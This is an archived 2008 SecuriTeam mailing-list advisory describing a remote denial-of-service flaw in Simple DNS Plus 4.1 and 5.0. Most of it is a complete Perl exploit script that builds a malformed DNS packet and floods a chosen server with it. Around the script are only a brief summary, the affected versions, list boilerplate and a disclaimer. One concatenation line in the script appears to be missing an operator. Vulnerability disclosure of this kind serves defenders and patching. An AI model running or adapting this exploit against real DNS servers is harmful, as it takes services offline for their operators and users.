

# [EXPL] Simple DNS Plus Denial of Service

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2008-07/msg00018.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxx)>
  - *Date:* 17 Jul 2008 20:17:54 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Simple DNS Plus Denial of Service

---

## SUMMARY

A vulnerability in the way Simple DNS plus handles incoming DNS queries allows a remote attacker to cause the product to fail by sending it a malformed DNS request.

## DETAILS

Vulnerable Systems:

- \* Simple DNS Plus version 5.0
- \* Simple DNS Plus version 4.1

Exploit:

```
#!/usr/bin/perl
# Simple DNS Plus 5.0/4.1 < remote Denial of Service exploit
#
# usage: sdns-dos.pl <dns server> <dns source port> <num of packets>
# Exploit written by Exodus.
# http://www.blackhat.org.il
```

```
use IO::Socket;
```

## [EXPL] Simple DNS Plus Denial of Service

```
if(@ARGV < 3){
print("sdns-dos.pl <dns server> <dns source port> <num of packets>");
}
$sock = IO::Socket::INET->new(PeerAddr => "$ARGV[0]:$ARGV[1]", Proto =>
'UDP') || die("Cant connect DNS server");

$address = $ARGV[0];

$trans = pack("H4","1337");
$flags = pack("B16","1000010110110000");
$question = pack("H4","0001");
$answerRR = pack("H4","0001");
$authorityRR = pack("H4","0000");
$additionlRR = pack("H4","0000");
$type = pack("H4","0001"); # A host name
$class = pack("H4","0001"); # IN

@parts = split(/\./,$address);
foreach $part (@parts)
{
$packedlen = pack("H2",sprintf("%02x",length($part)));
$address2 .= $packedlen.$part;
}
$query = $address2 . "\000" . $type . $class;

$name = pack("H4","c00c");
$type = pack("H4","0001");
$class = pack("H4","0001");
$title = pack("H8","0000008d");
$dlen = pack("H4","0004");
$addr = inet_aton("127.0.0.1");
$answer = $name . $type . $class . $title . $dlen . $addr;

$payload = $trans . $flags . $question . $answerRR
$authorityRR . $additionlRR . $query . $answer;

print "sending $ARGV[2] packets ";
for($i=0;$i<=$ARGV[2];$i++)
{
print $sock $payload;
}
print "Done. Good bye.";
__END__

# milw0rm.com [2008-07-13]
```

ADDITIONAL INFORMATION

[EXPL] Simple DNS Plus Denial of Service

The information has been provided by Exodus.

The original article can be found at:

<http://www.blackhat.org.il/index.php/simple-dns-plus-5041-remote-denial-of-service-exploit/>  
<http://www.blackhat.org.il/index.php/simple-dns-plus-5041-remote-denial-of-service-exploit/>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.